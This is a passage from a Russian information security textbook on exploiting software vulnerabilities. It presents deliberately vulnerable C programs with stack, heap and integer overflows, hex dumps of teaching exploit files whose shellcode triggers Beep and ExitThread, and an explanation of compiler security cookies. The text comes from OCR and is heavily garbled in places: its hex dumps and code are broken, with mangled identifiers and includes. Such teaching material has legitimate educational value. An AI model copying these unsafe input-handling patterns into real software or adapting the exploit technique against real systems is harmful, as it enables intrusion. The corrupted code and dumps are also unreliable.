Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:

3204

.pdf
Скачиваний:
9
Добавлен:
15.11.2022
Размер:
3.44 Mб
Скачать

Таким образом, для успешного внедрения в защищенную систему программной закладки нарушитель должен однократно проэксплуатировать уязвимость защиты атакуемой системы. В большинстве случаев успешного внедрения программных закладок в качестве такой уязвимости используются уязвимости программного обеспечения атакуемой системы. Это объясняется в первую очередь тем, что уязвимости программного обеспечения могут быть использованы для преодоления защиты не только данной конкретной системы, но и всех систем некоторого класса, часто весьма обширного. Как правило, программный код, эксплуатирующий некоторую программную уязвимость (в хакерской среде такой код обычно называется термином «эксплойт»), применяется многократно, для атаки многих однотипных систем. Так, уязвимость сервиса RPC операционных систем Windows 2000 и Windows ХР, использованная вирусом MSBlast в 2003 г., привела к заражению этим вирусом не менее 25 млн компьютеров [30], причем в первые сутки эпидемии было поражено 120 тыс. компьютеров, в первые пять суток – 3 млн.

Наиболее типичные уязвимости программного обеспечения можно разделить на следующие основные группы:

переполнения буферов; отсутствие необходимых проверок входных данных;

использование некорректного контекста безопасности в ходе выполнения тех или иных функций;

использование устаревших функций системы, ранее бывших безобидными, но ставших опасными в новых условиях.

Рассмотрим эти группы уязвимостей подробнее.

2.4.2. Переполнения буферов

Данная уязвимость имеет место, когда программа выделяет в оперативной памяти буфер недостаточной длины либо при записи в буфер данных не проверяет (или

131

некорректно проверяет) достаточность длины буфера. В качестве простейшего примера переполнения буфера рассмотрим следующую программу:

linclude <stdio.h> int main () {char String [10];

puts ("Введите какой-нибудь текст:"); gets (String);

printf ("Вы ввели:%s", String);}

Если пользователь вводит в программу строку длиной девять или менее символов (десятым символом является ноль, завершающий строку), программа работает корректно. Но если пользователь ввел с клавиатуры строку длиной десять символов или более, буфер, выделенный в стеке под переменную String, переполняется, и «хвост» введенной строки затирает данные, следующие в стеке непосредственно за буфером. Рассмотрим, как выглядит содержимое стека в данной программе после ввода пользователем строки корректной длины:

0xO012FF48 |31 32 33 34 35 00 40 00 80 7l||44 00 ||Ь8 ff 12 00| 12345.В.HqD.ея..

String «мусор» старое еЬр 0x0012FF58 |83

1е 40 00| 01 00 00 00 аО 36 33 00 08 37 33 00

г.0 63.. 73.

адрес возврата из функции main

Если же пользователь введет строку некорректной длины, скажем, длины 20, заполнение стека будет иметь следующий вид:

0x0012FF48 |31 32 33 34 35 36 37 38 39 30| [3l J2||33~34 J5 36] 1234567890123456 String «мусор» старое ebp

0x0012FF58 |37 36 39 30 | 00 00 00 00 aO 36 33 00 08 37 33 00 7890 63..73.

aдpec возврата из функции main

Мы видим, что адрес возврата из функции main затерт введенными пользователем данными, и программа, продолжая работу, выполнит переход на адрес 0x30393837, по которому,

132

скорее всего, размещается недоступная страница памяти. В результате программа аварийно завершит работу.

Если подать на вход программы специально подобранные данные, можно не только вызвать в программе ошибку, но и заставить программу выполнить некоторые действия, изначально не предусмотренные ее функциональностью. Попробуем подобрать входные данные, которые заставят нашу программу издать звук акустической системой компьютера (системный вызов Веер).

Для начала заставим программу передать управление на «хвост» данных, размещенных в переполненном буфере. В нашем случае адрес этого «хвоста» имеет вид 0x0012FF5C, это значение нельзя ввести с клавиатуры. Однако, перенаправив стандартный ввод, мы можем обойти это ограничение. С помощью, например, утилиты Hiew, создадим файл со следующим содержанием:

00000000: 31 32 33 34-35 36 37 38-39 30 31 32-33 34 35 36 12345 6789012345 6 00000010: 5С FF 12 00- - - \ I

Чтобы увидеть результат обработки файла в отладчике, вставим в программу перед строкой

gets (String);

строку

asm int 3;

Пусть исполняемый файл нашей программы имеет имя tmp.exe, а только что созданный файл – имя а. Наберем в командной строке

tmp < а

Программа выведет в консоль строку «Enter some text:», а затем выдаст сообщение об ошибке примерно такого вида, как изображено на рис. 2.3. Нажмем кнопку Debug. Активизируется отладчик, в отладчике пошагово пройдем строки

asm int 3; gets (String);

и увидим в дампе оперативной памяти:

CX0012FF48 31 32 33 34 35 36 37 38 39 30

133

31 32 33 34 35 36 1234567890123456 0x0012FF58 5с ff 12 00 00 00 00 00 98 2е 33 00 с!0 2е 33 00 \я З.Р.З.

Рис. 2.3. Оповещение пользователя о фатальной исключительной ситуации, возникшей в ходе работы программы

Пошагово пройдя программу в отладчике до команды ret, мы убеждаемся, что эта команда действительно передает управление на адрес 0x0012FF5C. Теперь нам осталось дописать в файл с входными данными машинный код, выполняющий требуемые нам действия.

В конечном итоге файл с входными данными приобретает следующий вид:

 

00000000 00000010 00000020

 

 

 

 

31 32 33 34-35 36 37 30-39

30

31

32-33

34

35 36 1234567090123456 5С FF

12

00-60 Е0

03

00-00 60 СО 00-00 00 Е0 Е8 \

J

ЬшУ

hi шш

0А 70 7С 60-00 00 00 ОО-Е0 34 CD 6D-7C

Смысл отдельных байт этих данных иллюстрирует табл. 2.1

134

Таблица 2.1 Структура эксплойта для первой учебной программы

Смещение

 

байт от

Содержание буфера

начала

 

00-0F

«Легальная» часть входных данных, не

 

участвующая в переполнении буфера

10-13

Указатель на следующую часть буфера,

 

подменяющий собой адрес возврата в стеке

 

атакуемой программы

14-2С

Машинный код эксплойта:

 

push 1000

 

push 200

 

call Веер

 

push 0

 

call ExitThread

В разработанном эксплойте предполагается, что кадр стека атакуемой функции программы всегда размещается в оперативной памяти по одному и тому же адресу. В нашем случае это верно, но в общем случае расположение кадра стека атакуемой функции в памяти может варьироваться в зависимости от режима работы программы. В этом случае эксплуатировать переполнение буфера затруднительно – для успешной эксплуатации переполнения буфера приходится выполнять несколько опробований, каждое из которых, за исключением последнего, приводит к генерации в программе исключительной ситуации «ошибка доступа к памяти». Не каждая программа способна продолжить выполнение, столкнувшись с такой исключительной ситуацией.

Машинный код, входящий в состав рассматриваемого эксплойта, использует явно заданные абсолютные значения адресов системных функций Веер и ExitThread. Поэтому наш эксплойт будет работать только в англоязычной версии

Windows ХР Professional SP2. В других версиях Windows эти

135

системные функции, скорее всего, будут располагаться в оперативной памяти по другим адресам, и попытка применения эксплойта приведет лишь к краху атакуемой программы. Если бы атакуемая программа использовала функции Веер и ExitThread сама, можно было бы так модифицировать эксплойт, чтобы он использовал для обращения к этим функциям их записи в таблице адресов импортов атакуемой программы. В подобных случаях зависимости от версии операционной системы удается избежать, сохраняется лишь зависимость от версии атакуемой программы.

Как правило, эксплойты, использующие переполнения буферов, жестко привязаны к конкретным версиям и конфигурациям атакуемых программных комплексов. Существуют методы, позволяющие создавать более универсальные эксплойты, способные функционировать в некотором диапазоне версий атакуемой программы и операционной системы, однако эти методы применимы далеко не всегда. Чаще встречаются «псевдоуниверсальные» эксплойты, способные поразить несколько версий атакуемой программы, но неспособные определить, какая именно версия подвергается атаке, и выбирающие вид атаки случайно. К таким эксплойтам относится, например, RPC DCOM Exploit, использовавшийся для размножения знаменитым вирусом

MSBlast.

Многие современные средства программирования содержат в себе специальные средства, в некоторых случаях позволяющие избежать появления в программах ошибок переполнения буферов. Так, например, компилятор C++,

входящий в состав Microsoft Visual Studio 2005, при компиляции приведенного ранее исходного текста выдает следующее предупреждение:

с:\projects\tmp\tmp.срр(80) : warning С4996: 'gets': This function or variable may be unsafe. Consider using gets s

instead. To disable deprecation, use CRT_SECURE_NO_

136

WARNINGS. See online help for details.

Кроме того, Microsoft Visual Studio по умолчанию вставляет в командную строку компилятора опцию /GS, которая включает для большинства функций компилируемой программы защиту от переполнения буферов в стеке, основанную на так называемых security cookies.

Security cookie – это случайное число, которое генерируется при

старте программы функцией security_init_cookie, автоматически

вызываемой в ходе инициализации программы еще до передачи управления в функцию WinMain. В процессе выполнения программы

это число хранится в глобальной переемнной security_cookie.

В начало почти всех функций программы компилятор добавляет машинные команды вида

mov еах, dword ptr [security cookie] xor еах, ebp

mov dword ptr [ebp - 4] , eax

а в конец функции – команды вида mov есх, dword ptr [ebp - 4] xor есх, ebp

call security check cookie

Если в стеке функции произошло переполнение буфера, приведшее к затиранию адреса возврата из функции, локальная переменная

[ebp - 4] также будет затерта. В этом случае функция security_check_

cookie определит, что содержимое регистра есх не совпадает с значе нием глобальной переменной security_cookie, и сгенерирует ис ключительную ситуацию.

Переполнение буфера может происходить не только в стеке, но и в других областях оперативной памяти, например в «куче»:

linclude <windows.h> linclude <stdio.h>

137

typedef void (*tpSomeFunc) (PSTR String);

void SomeFuncl (PSTR String)

{MessageBox (NULL, String, "Вы ввели текст", MB_OK | MB_ICONEXCLAtIATION) ;}

void SomeFunc2 (PSTR String)

{MessageBox (NULL, String, "Вы ввели текст", MB_OK | MB_ICONINFOPMLATION), }

void main ()

{FFANDLE hHeap = HeapCreate (0, 4096, 40 96) PSTR String = (PSTR) HeapAlloc (hHeap, 0, 10);

tpSomeFunc* pSomeFunc = (tpSomeFuncU HeapAlloc (hHeap, 0, 4);

*pSomeFunc = MessageBox (NULL, "Сделаем иконку с восклицательным знаком?", MB_YESNO | MB_ICONQUESTION) == IDYES ? SomeFuncl: SomeFunc2; puts ("Введите какой-нибудь текст:"); gets (String); (*pSomeFunc) (String);}

Файл-эксплойт для данной программы имеет примерно следующий вид (конкретный вид эксплойта зависит от настроек компилятора, использованных при создании уязвимой программы, а также от версии операционной системы, в которой он применяется).

00000000 000000010

00000020 00000030 31 32 33 34-35 36 37 38-39 30 31 32-33

34

35 36 1234567890123456 3738 39 30-31 32

33

34-А4 06

9С 00-68 Е8 03

00 78901234д*Ь hlnY

00

68 С8

00-00 00 Е8 АО-83 Е7 7В 68-00 00

00

00

hit шаГч (h Е8 ЕС С5 Е4-7В)

 

 

Смысл отдельных байт

эксплойта иллюстрирует

табл. 2.2

 

 

 

138

Таблица 2.2 Структура эксплойта для второй учебной программы

Смещение

 

байт от

Содержание буфера

начала

 

00-17

«Легальная» часть входных данных, не

 

участвующая в переполнении буфера

18-1В

Указатель на следующую часть буфера,

 

подменяющий собой указатель на код в «куче»

 

атакуемой программы

1С–34

Машинный код эксплойта:

 

push 1000

 

push 200

 

call Веер

 

push 0

 

call ExitThread

Эксплуатировать переполнения буферов в куче существенно труднее, чем переполнения в стеке, поскольку в первом случае меньше вероятность, что рядом с переполняемым буфером обнаружится указатель на код, несанкционированное изменение которого позволит эксплойту получить управление. Этим и объясняется некоторая искусственность приведенного примера. Если заменить в исходном тексте уязвимой программы вызовы НеарАИос вызовами LocalAlloc, расстояние в памяти между строкой String и указателем pSomeFunc может составить более 10 Кбайт. Примерно такую длину будет иметь файл, эксплуатирующий данную уязвимость.

К понятию переполнения буфера близко понятие целочисленного переполнения. Целочисленные переполнения проявляются в случаях, когда целочисленная переменная, поступающая на вход программы и в дальнейшем интерпретируемая как индекс в некотором массиве, выходит за пределы области допустимых значений. Например:

139

linclude <windows.h> linclude <stdio.h>

typedef void (*tpSomeFunc)

(PSTR

String);

 

void SomeFuncl (PSTR String)

 

{MessageBox (NULL, String, "Вы ввели текст", MB OK I MB ICONEXCLAMATION);

void SomeFunc2 (PSTR String)

{MessageBox (NULL, String, "Вы ввели текст", MB_OK | MB_ICONINFOPMATION);}

void SomeFunc3 (PSTR String)

{MessageBox (NULL, String, "Вы ввели текст", MB_OK | MB_ICONQUE S TION);}

void SomeFunc4 (PSTR String)

{MessageBox (NULL, String, "Вы ввели текст", MB_OK | MB_ICONSTOP);}

tpSomeFunc Funcs[4] = { SomeFuncl, SomeFunc2,

SomeFunc3, SomeFunc4}; Char String [10000]; void main () {int n;

puts ("Какую иконку будем рисовать (1- 4)?"); scant ("%d", &n);

puts ("Введите какой-нибудь текст:") scant ("%s", String);

Funcs[n – 1] (String);}

Строго говоря, целочисленное переполнение не является переполнением буфера, но эксплуатация данного класса уязвимостей не сильно отличается от эксплуатации переполнений буферов. Данный факт иллюстрирует файлэксплойт, эксплуатирующий уязвимость в последней рассмотренной программе:

00000000 00000010 00000020

32 33 0D 0А-5С 50 40 00-68 Е8 03 00-00

68 С8 00 231И\Р@ hmT hi 00 00 Е8 Е8-39 43 7С 68-00 00 00 00-Е8 34 7С 40 шш9С|Ь ш4 | @ 7С

140

Соседние файлы в предмете [НЕСОРТИРОВАННОЕ]